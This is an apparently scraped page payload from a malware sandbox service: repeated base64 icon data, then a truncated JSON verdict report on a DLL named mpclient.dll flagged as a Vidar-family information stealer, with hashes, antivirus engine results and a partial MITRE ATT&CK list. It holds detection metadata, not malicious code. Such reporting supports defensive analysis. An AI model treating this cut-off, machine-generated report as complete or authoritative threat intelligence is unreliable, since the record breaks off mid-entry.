QIzf6Pf70ag0YMEf40/pCgOyjnZ0ih5gftWDOslD9DujeLyVxB3FE7x7qZEDPNZNc3jazDRJweBO8QB0YywWw2c3pPhd+xS2VBxksPS0Bpb6FDAWBO5bgCa1HVWXr/FWtWut+PjKLxibesZXkiapaAASJgByNlqFmZmnaJA/gmpuE/WyGfbUbCWY8NWfZahXWfH+ex/RlOLKT90wujehMKzyA4mEyRfOAZDgvbRa5yCoaUJNYycUih78oJjAj9Iuvilrbjdhg5le5Ze30dMjh6i7DzLDC3zw1T28fv2K74MSAZIcgEyFPJ9OOervwEA/3hZcQ9X1e1AqlRgeHuJj2jVmQL/WAPN2HFLtPPOJUXYWUK0ot+l8nYKRBSATOrLUA24uFsssTCYTn4yxMTUzHg3GJyYhZtas97LN+DKK5kEdLjd0oaG5nf3egt3dEAPYPg9AxlJp7slmqSU05wRDraFe32oUsSN3BG+9U4WJCS2qv7vDj2CbbYH7QYkAR+JZW826GxXNwPiZGYUZ0Dp/8SBrpiQYnW4KKysuPlElAET5C8Zx8f1c0nxnMs4FtrcD/FXMbrfxZV9YmOeG5fV6eI2SAf5NPJv0e1oVOvXIgGjXh8O7vG1UpygA+r8gEonw/mfE43kAsRNJLSOI0zKROORQ+ToFgwD+i8jXKRi1tbUQCoWQSNrQ1pZJsTj7WXwsxWJK0akpEmVSIpGgpaXl7AD/d/wFATEqgHftE4MAAAAASUVORK5CYII=6d:T6a8,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAExElEQVR4Xu2X21NaVxTG8wf1X+hbpy99SK1OO5VOH9qX1NRpJzXptOahSaMxjU0atTggVaqCOMFrRcRgFCI0EiSigEqQaOKFm4LIRRH4utemYEWZCk77lDWzZsDDWd/v7LXXt48XLryJN5EXdrsdW1tb8Pl88Hg8Z8zM7zc2NmA0GnHx4kXk1z1zOBwOpNNplBKHh4eg+wmivLy8NAgqcHBwwAsSSDqdQipVKJNIJo+SwuVywel0wmazoaysrHiI4wD5gkfC+eJZgNXVl9jc3OTfrVYrBAJBcRD/BDgpfPKpj/KQ30NP73a7+edgMIjp6WlUVFScHYIA9vf3CwKQ2HXhCOq7Hh0TzwIsLi5CLu9mKYdMJsPQ0BBUKtX5AZr6jGgatnDBrhk3FHYPAoEA6to1kA7r+QakzIbX6+Uws7OzHCJfp2CcDpCEemEdrr1cfR40K9KpJehMDuzs7CAejzOIBBKJxLFJWlpaKh2gddQE44oXG38XGxgaxINBI252aGBa2UaU/a1twonmcRsE34pyAJmkOmlEo9FSAZK4/9CQE69uVuDS559iZOQPCCVy3JAMwL4ZBu3/Tt0yKr++xQ2JBBOJA54EEAqFigWI8yWkfq/7/AiwMiZPAl9Ufoje3l709fVBrVZjdFSFEbML074kBhd9GB8fh9n8jEF4+SRRUp1QKFgcAPWSbmzp/RN6XxhrDKBV+FtOXK/Xs3FbZr1dhFSlxzK7rt2I41eNGZ98c5dvwAzAPveSkgGUBgcMwRQ8TEDaIcuJr62tsWWOYG9vD/26Obxi1yfZCn3fPonqOhE/EyKRvfMDBAJ+NkZmbDEBB2t0692bzGpfIBajHmc2Wv8TM5zsusqdZoBKaDQaPH9ugd/vywGQIeXrFIwMQIzf6Pf70ag0YMEf40/pCgOyjnZ0ih5gftWDOslD9DujeLyVxB3FE7x7qZEDPNZNc3jazDRJweBO8QB0YywWw2c3pPhd+xS2VBxksPS0Bpb6FDAWBO5bgCa1HVWXr/FWtWut+PjKLxibesZXkiapaAASJgByNlqFmZmnaJA/gmpuE/WyGfbUbCWY8NWfZahXWfH+ex/RlOLKT90wujehMKzyA4mEyRfOAZDgvbRa5yCoaUJNYycUih78oJjAj9Iuvilrbjdhg5le5Ze30dMjh6i7DzLDC3zw1T28fv2K74MSAZIcgEyFPJ9OOervwEA/3hZcQ9X1e1AqlRgeHuJj2jVmQL/WAPN2HFLtPPOJUXYWUK0ot+l8nYKRBSATOrLUA24uFsssTCYTn4yxMTUzHg3GJyYhZtas97LN+DKK5kEdLjd0oaG5nf3egt3dEAPYPg9AxlJp7slmqSU05wRDraFe32oUsSN3BG+9U4WJCS2qv7vDj2CbbYH7QYkAR+JZW826GxXNwPiZGYUZ0Dp/8SBrpiQYnW4KKysuPlElAET5C8Zx8f1c0nxnMs4FtrcD/FXMbrfxZV9YmOeG5fV6eI2SAf5NPJv0e1oVOvXIgGjXh8O7vG1UpygA+r8gEonw/mfE43kAsRNJLSOI0zKROORQ+ToFgwD+i8jXKRi1tbUQCoWQSNrQ1pZJsTj7WXwsxWJK0akpEmVSIpGgpaXl7AD/d/wFATEqgHftE4MAAAAASUVORK5CYII=6e:T6a8,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAExElEQVR4Xu2X21NaVxTG8wf1X+hbpy99SK1OO5VOH9qX1NRpJzXptOahSaMxjU0atTggVaqCOMFrRcRgFCI0EiSigEqQaOKFm4LIRRH4utemYEWZCk77lDWzZsDDWd/v7LXXt48XLryJN5EXdrsdW1tb8Pl88Hg8Z8zM7zc2NmA0GnHx4kXk1z1zOBwOpNNplBKHh4eg+wmivLy8NAgqcHBwwAsSSDqdQipVKJNIJo+SwuVywel0wmazoaysrHiI4wD5gkfC+eJZgNXVl9jc3OTfrVYrBAJBcRD/BDgpfPKpj/KQ30NP73a7+edgMIjp6WlUVFScHYIA9vf3CwKQ2HXhCOq7Hh0TzwIsLi5CLu9mKYdMJsPQ0BBUKtX5AZr6jGgatnDBrhk3FHYPAoEA6to1kA7r+QakzIbX6+Uws7OzHCJfp2CcDpCEemEdrr1cfR40K9KpJehMDuzs7CAejzOIBBKJxLFJWlpaKh2gddQE44oXG38XGxgaxINBI252aGBa2UaU/a1twonmcRsE34pyAJmkOmlEo9FSAZK4/9CQE69uVuDS559iZOQPCCVy3JAMwL4ZBu3/Tt0yKr++xQ2JBBOJA54EEAqFigWI8yWkfq/7/AiwMiZPAl9Ufoje3l709fVBrVZjdFSFEbML074kBhd9GB8fh9n8jEF4+SRRUp1QKFgcAPWSbmzp/RN6XxhrDKBV+FtOXK/Xs3FbZr1dhFSlxzK7rt2I41eNGZ98c5dvwAzAPveSkgGUBgcMwRQ8TEDaIcuJr62tsWWOYG9vD/26Obxi1yfZCn3fPonqOhE/EyKRvfMDBAJ+NkZmbDEBB2t0692bzGpfIBajHmc2Wv8TM5zsusqdZoBKaDQaPH9ugd/vywGQIeXrFIwMQIzf6Pf70ag0YMEf40/pCgOyjnZ0ih5gftWDOslD9DujeLyVxB3FE7x7qZEDPNZNc3jazDRJweBO8QB0YywWw2c3pPhd+xS2VBxksPS0Bpb6FDAWBO5bgCa1HVWXr/FWtWut+PjKLxibesZXkiapaAASJgByNlqFmZmnaJA/gmpuE/WyGfbUbCWY8NWfZahXWfH+ex/RlOLKT90wujehMKzyA4mEyRfOAZDgvbRa5yCoaUJNYycUih78oJjAj9Iuvilrbjdhg5le5Ze30dMjh6i7DzLDC3zw1T28fv2K74MSAZIcgEyFPJ9OOervwEA/3hZcQ9X1e1AqlRgeHuJj2jVmQL/WAPN2HFLtPPOJUXYWUK0ot+l8nYKRBSATOrLUA24uFsssTCYTn4yxMTUzHg3GJyYhZtas97LN+DKK5kEdLjd0oaG5nf3egt3dEAPYPg9AxlJp7slmqSU05wRDraFe32oUsSN3BG+9U4WJCS2qv7vDj2CbbYH7QYkAR+JZW826GxXNwPiZGYUZ0Dp/8SBrpiQYnW4KKysuPlElAET5C8Zx8f1c0nxnMs4FtrcD/FXMbrfxZV9YmOeG5fV6eI2SAf5NPJv0e1oVOvXIgGjXh8O7vG1UpygA+r8gEonw/mfE43kAsRNJLSOI0zKROORQ+ToFgwD+i8jXKRi1tbUQCoWQSNrQ1pZJsTj7WXwsxWJK0akpEmVSIpGgpaXl7AD/d/wFATEqgHftE4MAAAAASUVORK5CYII=6f:T6a8,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAExElEQVR4Xu2X21NaVxTG8wf1X+hbpy99SK1OO5VOH9qX1NRpJzXptOahSaMxjU0atTggVaqCOMFrRcRgFCI0EiSigEqQaOKFm4LIRRH4utemYEWZCk77lDWzZsDDWd/v7LXXt48XLryJN5EXdrsdW1tb8Pl88Hg8Z8zM7zc2NmA0GnHx4kXk1z1zOBwOpNNplBKHh4eg+wmivLy8NAgqcHBwwAsSSDqdQipVKJNIJo+SwuVywel0wmazoaysrHiI4wD5gkfC+eJZgNXVl9jc3OTfrVYrBAJBcRD/BDgpfPKpj/KQ30NP73a7+edgMIjp6WlUVFScHYIA9vf3CwKQ2HXhCOq7Hh0TzwIsLi5CLu9mKYdMJsPQ0BBUKtX5AZr6jGgatnDBrhk3FHYPAoEA6to1kA7r+QakzIbX6+Uws7OzHCJfp2CcDpCEemEdrr1cfR40K9KpJehMDuzs7CAejzOIBBKJxLFJWlpaKh2gddQE44oXG38XGxgaxINBI252aGBa2UaU/a1twonmcRsE34pyAJmkOmlEo9FSAZK4/9CQE69uVuDS559iZOQPCCVy3JAMwL4ZBu3/Tt0yKr++xQ2JBBOJA54EEAqFigWI8yWkfq/7/AiwMiZPAl9Ufoje3l709fVBrVZjdFSFEbML074kBhd9GB8fh9n8jEF4+SRRUp1QKFgcAPWSbmzp/RN6XxhrDKBV+FtOXK/Xs3FbZr1dhFSlxzK7rt2I41eNGZ98c5dvwAzAPveSkgGUBgcMwRQ8TEDaIcuJr62tsWWOYG9vD/26Obxi1yfZCn3fPonqOhE/EyKRvfMDBAJ+NkZmbDEBB2t0692bzGpfIBajHmc2Wv8TM5zsusqdZoBKaDQaPH9ugd/vywGQIeXrFIwMQIzf6Pf70ag0YMEf40/pCgOyjnZ0ih5gftWDOslD9DujeLyVxB3FE7x7qZEDPNZNc3jazDRJweBO8QB0YywWw2c3pPhd+xS2VBxksPS0Bpb6FDAWBO5bgCa1HVWXr/FWtWut+PjKLxibesZXkiapaAASJgByNlqFmZmnaJA/gmpuE/WyGfbUbCWY8NWfZahXWfH+ex/RlOLKT90wujehMKzyA4mEyRfOAZDgvbRa5yCoaUJNYycUih78oJjAj9Iuvilrbjdhg5le5Ze30dMjh6i7DzLDC3zw1T28fv2K74MSAZIcgEyFPJ9OOervwEA/3hZcQ9X1e1AqlRgeHuJj2jVmQL/WAPN2HFLtPPOJUXYWUK0ot+l8nYKRBSATOrLUA24uFsssTCYTn4yxMTUzHg3GJyYhZtas97LN+DKK5kEdLjd0oaG5nf3egt3dEAPYPg9AxlJp7slmqSU05wRDraFe32oUsSN3BG+9U4WJCS2qv7vDj2CbbYH7QYkAR+JZW826GxXNwPiZGYUZ0Dp/8SBrpiQYnW4KKysuPlElAET5C8Zx8f1c0nxnMs4FtrcD/FXMbrfxZV9YmOeG5fV6eI2SAf5NPJv0e1oVOvXIgGjXh8O7vG1UpygA+r8gEonw/mfE43kAsRNJLSOI0zKROORQ+ToFgwD+i8jXKRi1tbUQCoWQSNrQ1pZJsTj7WXwsxWJK0akpEmVSIpGgpaXl7AD/d/wFATEqgHftE4MAAAAASUVORK5CYII=70:T6a8,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAExElEQVR4Xu2X21NaVxTG8wf1X+hbpy99SK1OO5VOH9qX1NRpJzXptOahSaMxjU0atTggVaqCOMFrRcRgFCI0EiSigEqQaOKFm4LIRRH4utemYEWZCk77lDWzZsDDWd/v7LXXt48XLryJN5EXdrsdW1tb8Pl88Hg8Z8zM7zc2NmA0GnHx4kXk1z1zOBwOpNNplBKHh4eg+wmivLy8NAgqcHBwwAsSSDqdQipVKJNIJo+SwuVywel0wmazoaysrHiI4wD5gkfC+eJZgNXVl9jc3OTfrVYrBAJBcRD/BDgpfPKpj/KQ30NP73a7+edgMIjp6WlUVFScHYIA9vf3CwKQ2HXhCOq7Hh0TzwIsLi5CLu9mKYdMJsPQ0BBUKtX5AZr6jGgatnDBrhk3FHYPAoEA6to1kA7r+QakzIbX6+Uws7OzHCJfp2CcDpCEemEdrr1cfR40K9KpJehMDuzs7CAejzOIBBKJxLFJWlpaKh2gddQE44oXG38XGxgaxINBI252aGBa2UaU/a1twonmcRsE34pyAJmkOmlEo9FSAZK4/9CQE69uVuDS559iZOQPCCVy3JAMwL4ZBu3/Tt0yKr++xQ2JBBOJA54EEAqFigWI8yWkfq/7/AiwMiZPAl9Ufoje3l709fVBrVZjdFSFEbML074kBhd9GB8fh9n8jEF4+SRRUp1QKFgcAPWSbmzp/RN6XxhrDKBV+FtOXK/Xs3FbZr1dhFSlxzK7rt2I41eNGZ98c5dvwAzAPveSkgGUBgcMwRQ8TEDaIcuJr62tsWWOYG9vD/26Obxi1yfZCn3fPonqOhE/EyKRvfMDBAJ+NkZmbDEBB2t0692bzGpfIBajHmc2Wv8TM5zsusqdZoBKaDQaPH9ugd/vywGQIeXrFIwMQIzf6Pf70ag0YMEf40/pCgOyjnZ0ih5gftWDOslD9DujeLyVxB3FE7x7qZEDPNZNc3jazDRJweBO8QB0YywWw2c3pPhd+xS2VBxksPS0Bpb6FDAWBO5bgCa1HVWXr/FWtWut+PjKLxibesZXkiapaAASJgByNlqFmZmnaJA/gmpuE/WyGfbUbCWY8NWfZahXWfH+ex/RlOLKT90wujehMKzyA4mEyRfOAZDgvbRa5yCoaUJNYycUih78oJjAj9Iuvilrbjdhg5le5Ze30dMjh6i7DzLDC3zw1T28fv2K74MSAZIcgEyFPJ9OOervwEA/3hZcQ9X1e1AqlRgeHuJj2jVmQL/WAPN2HFLtPPOJUXYWUK0ot+l8nYKRBSATOrLUA24uFsssTCYTn4yxMTUzHg3GJyYhZtas97LN+DKK5kEdLjd0oaG5nf3egt3dEAPYPg9AxlJp7slmqSU05wRDraFe32oUsSN3BG+9U4WJCS2qv7vDj2CbbYH7QYkAR+JZW826GxXNwPiZGYUZ0Dp/8SBrpiQYnW4KKysuPlElAET5C8Zx8f1c0nxnMs4FtrcD/FXMbrfxZV9YmOeG5fV6eI2SAf5NPJv0e1oVOvXIgGjXh8O7vG1UpygA+r8gEonw/mfE43kAsRNJLSOI0zKROORQ+ToFgwD+i8jXKRi1tbUQCoWQSNrQ1pZJsTj7WXwsxWJK0akpEmVSIpGgpaXl7AD/d/wFATEqgHftE4MAAAAASUVORK5CYII=71:T6a8,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAExElEQVR4Xu2X21NaVxTG8wf1X+hbpy99SK1OO5VOH9qX1NRpJzXptOahSaMxjU0atTggVaqCOMFrRcRgFCI0EiSigEqQaOKFm4LIRRH4utemYEWZCk77lDWzZsDDWd/v7LXXt48XLryJN5EXdrsdW1tb8Pl88Hg8Z8zM7zc2NmA0GnHx4kXk1z1zOBwOpNNplBKHh4eg+wmivLy8NAgqcHBwwAsSSDqdQipVKJNIJo+SwuVywel0wmazoaysrHiI4wD5gkfC+eJZgNXVl9jc3OTfrVYrBAJBcRD/BDgpfPKpj/KQ30NP73a7+edgMIjp6WlUVFScHYIA9vf3CwKQ2HXhCOq7Hh0TzwIsLi5CLu9mKYdMJsPQ0BBUKtX5AZr6jGgatnDBrhk3FHYPAoEA6to1kA7r+QakzIbX6+Uws7OzHCJfp2CcDpCEemEdrr1cfR40K9KpJehMDuzs7CAejzOIBBKJxLFJWlpaKh2gddQE44oXG38XGxgaxINBI252aGBa2UaU/a1twonmcRsE34pyAJmkOmlEo9FSAZK4/9CQE69uVuDS559iZOQPCCVy3JAMwL4ZBu3/Tt0yKr++xQ2JBBOJA54EEAqFigWI8yWkfq/7/AiwMiZPAl9Ufoje3l709fVBrVZjdFSFEbML074kBhd9GB8fh9n8jEF4+SRRUp1QKFgcAPWSbmzp/RN6XxhrDKBV+FtOXK/Xs3FbZr1dhFSlxzK7rt2I41eNGZ98c5dvwAzAPveSkgGUBgcMwRQ8TEDaIcuJr62tsWWOYG9vD/26Obxi1yfZCn3fPonqOhE/EyKRvfMDBAJ+NkZmbDEBB2t0692bzGpfIBajHmc2Wv8TM5zsusqdZoBKaDQaPH9ugd/vywGQIeXrFIwMQIzf6Pf70ag0YMEf40/pCgOyjnZ0ih5gftWDOslD9DujeLyVxB3FE7x7qZEDPNZNc3jazDRJweBO8QB0YywWw2c3pPhd+xS2VBxksPS0Bpb6FDAWBO5bgCa1HVWXr/FWtWut+PjKLxibesZXkiapaAASJgByNlqFmZmnaJA/gmpuE/WyGfbUbCWY8NWfZahXWfH+ex/RlOLKT90wujehMKzyA4mEyRfOAZDgvbRa5yCoaUJNYycUih78oJjAj9Iuvilrbjdhg5le5Ze30dMjh6i7DzLDC3zw1T28fv2K74MSAZIcgEyFPJ9OOervwEA/3hZcQ9X1e1AqlRgeHuJj2jVmQL/WAPN2HFLtPPOJUXYWUK0ot+l8nYKRBSATOrLUA24uFsssTCYTn4yxMTUzHg3GJyYhZtas97LN+DKK5kEdLjd0oaG5nf3egt3dEAPYPg9AxlJp7slmqSU05wRDraFe32oUsSN3BG+9U4WJCS2qv7vDj2CbbYH7QYkAR+JZW826GxXNwPiZGYUZ0Dp/8SBrpiQYnW4KKysuPlElAET5C8Zx8f1c0nxnMs4FtrcD/FXMbrfxZV9YmOeG5fV6eI2SAf5NPJv0e1oVOvXIgGjXh8O7vG1UpygA+r8gEonw/mfE43kAsRNJLSOI0zKROORQ+ToFgwD+i8jXKRi1tbUQCoWQSNrQ1pZJsTj7WXwsxWJK0akpEmVSIpGgpaXl7AD/d/wFATEqgHftE4MAAAAASUVORK5CYII=72:T6a8,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAExElEQVR4Xu2X21NaVxTG8wf1X+hbpy99SK1OO5VOH9qX1NRpJzXptOahSaMxjU0atTggVaqCOMFrRcRgFCI0EiSigEqQaOKFm4LIRRH4utemYEWZCk77lDWzZsDDWd/v7LXXt48XLryJN5EXdrsdW1tb8Pl88Hg8Z8zM7zc2NmA0GnHx4kXk1z1zOBwOpNNplBKHh4eg+wmivLy8NAgqcHBwwAsSSDqdQipVKJNIJo+SwuVywel0wmazoaysrHiI4wD5gkfC+eJZgNXVl9jc3OTfrVYrBAJBcRD/BDgpfPKpj/KQ30NP73a7+edgMIjp6WlUVFScHYIA9vf3CwKQ2HXhCOq7Hh0TzwIsLi5CLu9mKYdMJsPQ0BBUKtX5AZr6jGgatnDBrhk3FHYPAoEA6to1kA7r+QakzIbX6+Uws7OzHCJfp2CcDpCEemEdrr1cfR40K9KpJehMDuzs7CAejzOIBBKJxLFJWlpaKh2gddQE44oXG38XGxgaxINBI252aGBa2UaU/a1twonmcRsE34pyAJmkOmlEo9FSAZK4/9CQE69uVuDS559iZOQPCCVy3JAMwL4ZBu3/Tt0yKr++xQ2JBBOJA54EEAqFigWI8yWkfq/7/AiwMiZPAl9Ufoje3l709fVBrVZjdFSFEbML074kBhd9GB8fh9n8jEF4+SRRUp1QKFgcAPWSbmzp/RN6XxhrDKBV+FtOXK/Xs3FbZr1dhFSlxzK7rt2I41eNGZ98c5dvwAzAPveSkgGUBgcMwRQ8TEDaIcuJr62tsWWOYG9vD/26Obxi1yfZCn3fPonqOhE/EyKRvfMDBAJ+NkZmbDEBB2t0692bzGpfIBajHmc2Wv8TM5zsusqdZoBKaDQaPH9ugd/vywGQIeXrFIwMQIzf6Pf70ag0YMEf40/pCgOyjnZ0ih5gftWDOslD9DujeLyVxB3FE7x7qZEDPNZNc3jazDRJweBO8QB0YywWw2c3pPhd+xS2VBxksPS0Bpb6FDAWBO5bgCa1HVWXr/FWtWut+PjKLxibesZXkiapaAASJgByNlqFmZmnaJA/gmpuE/WyGfbUbCWY8NWfZahXWfH+ex/RlOLKT90wujehMKzyA4mEyRfOAZDgvbRa5yCoaUJNYycUih78oJjAj9Iuvilrbjdhg5le5Ze30dMjh6i7DzLDC3zw1T28fv2K74MSAZIcgEyFPJ9OOervwEA/3hZcQ9X1e1AqlRgeHuJj2jVmQL/WAPN2HFLtPPOJUXYWUK0ot+l8nYKRBSATOrLUA24uFsssTCYTn4yxMTUzHg3GJyYhZtas97LN+DKK5kEdLjd0oaG5nf3egt3dEAPYPg9AxlJp7slmqSU05wRDraFe32oUsSN3BG+9U4WJCS2qv7vDj2CbbYH7QYkAR+JZW826GxXNwPiZGYUZ0Dp/8SBrpiQYnW4KKysuPlElAET5C8Zx8f1c0nxnMs4FtrcD/FXMbrfxZV9YmOeG5fV6eI2SAf5NPJv0e1oVOvXIgGjXh8O7vG1UpygA+r8gEonw/mfE43kAsRNJLSOI0zKROORQ+ToFgwD+i8jXKRi1tbUQCoWQSNrQ1pZJsTj7WXwsxWJK0akpEmVSIpGgpaXl7AD/d/wFATEqgHftE4MAAAAASUVORK5CYII=1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791974892995,"unified_at":"2026-10-14T10:48:12.995Z","metadata":{"hashes":{"sha256":"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811","sha1":"6fc371b5e8471792eaf1883a8439c93eb89cbd83","md5":"d9abf20fe61f5ffee3a3ac6ba7276e63","sha512":"e3d7e5d0e686c895fa52c3d29c5f79d403157930561a5707c8344034fed0753375f9f072ca3a689e47c7f77ff76dee1e4acfb5f17b08b0ac7a92a39d9c061d20","ssdeep":"49152:HkfA+suMKdVaudZIY20aMEnr8U44/CO2LH7:HB9+ZfbCILH7","ssdeep_chunks":["49152:HkfA+su","49152:kfA+suM","49152:fA+suMK","49152:A+suMKd","49152:+suMKdV","49152:suMKdVa","49152:uMKdVau","49152:MKdVaud","49152:KdVaudZ","49152:dVaudZI","49152:VaudZIY","49152:audZIY2","49152:udZIY20","49152:dZIY20a","49152:ZIY20aM","49152:IY20aME","49152:Y20aMEn","49152:20aMEnr","49152:0aMEnr8","49152:aMEnr8U","49152:MEnr8U4","49152:Enr8U44","49152:nr8U44/","49152:r8U44/C","49152:8U44/CO","49152:U44/CO2","49152:44/CO2L","49152:4/CO2LH","49152:/CO2LH7","98304:HkfA+su","98304:kfA+suM","98304:fA+suMK","98304:A+suMKd","98304:+suMKdV","98304:suMKdVa","98304:uMKdVau","98304:MKdVaud","98304:KdVaudZ","98304:dVaudZI","98304:VaudZIY","98304:audZIY2","98304:udZIY20","98304:dZIY20a","98304:ZIY20aM","98304:IY20aME","98304:Y20aMEn","98304:20aMEnr","98304:0aMEnr8","98304:aMEnr8U","98304:MEnr8U4","98304:Enr8U44","98304:nr8U44/","98304:r8U44/C","98304:8U44/CO","98304:U44/CO2","98304:44/CO2L","98304:4/CO2LH","98304:/CO2LH7","49152:HB9+Zfb","49152:B9+ZfbC","49152:9+ZfbCI","49152:+ZfbCIL","49152:ZfbCILH","49152:fbCILH7"],"imphash":"d8b31f8c03e0c76ff245ed05a15ffe6c"},"file_info":{"file_name":"mpclient.dll","file_type":["pedll","64bits","executable"],"file_type_id":"64-bit dll","file_size":3831736,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1781401143000,"last_seen":1781402537000,"last_multi_scan":1781402537000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["commodity","vidarstealer","credentialharvesting","criminal","informationstealer","downloader","evasive"]},"stats":{"av":{"malicious_count":4,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":75},"sandbox_signatures":{"informative_count":185,"suspicious_count":19,"malicious_count":6,"total":210},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W64.Evo","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"undetected","status":"clean","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win64/GenKryptik.HRGN trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W64/Agent.MMK.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Win64/GenKryptik.HRGN trojan","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls 